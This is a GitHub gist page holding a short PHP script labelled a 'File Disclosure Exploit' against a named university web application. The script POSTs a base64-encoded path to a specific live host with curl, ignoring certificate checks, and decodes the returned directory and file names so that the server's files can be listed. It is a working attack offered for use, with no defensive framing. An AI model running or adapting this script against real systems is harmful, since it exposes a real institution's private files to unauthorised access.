Skip to content

Instantly share code, notes, and snippets.

@carlosernestolopez
Created September 12, 2019 23:47
Show Gist options
  • Save carlosernestolopez/ab416b5a764ed2702a625df6e1a43f9b to your computer and use it in GitHub Desktop.
Save carlosernestolopez/ab416b5a764ed2702a625df6e1a43f9b to your computer and use it in GitHub Desktop.
<?php
# Proafac File Disclosure Exploit
# By Carlos E. López
# celopez.ni1990@gmail.com
$dir = base64_encode($argv[1]);
$cmd = 'curl --insecure https://proafac.unanleon.edu.ni/actas/indice.php --data "path='.$dir.'"';
$info = shell_exec($cmd);
preg_match_all('|pathdestino\(document\.frm1,\'(.*?)\'\)|', $info, $matches);
foreach($matches[1] as $match)
print base64_decode( $match )."\n";
preg_match_all('|idfile=(.*?)"|', $info, $matches);
foreach($matches[1] as $match)
print base64_decode( $match )."\n";
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment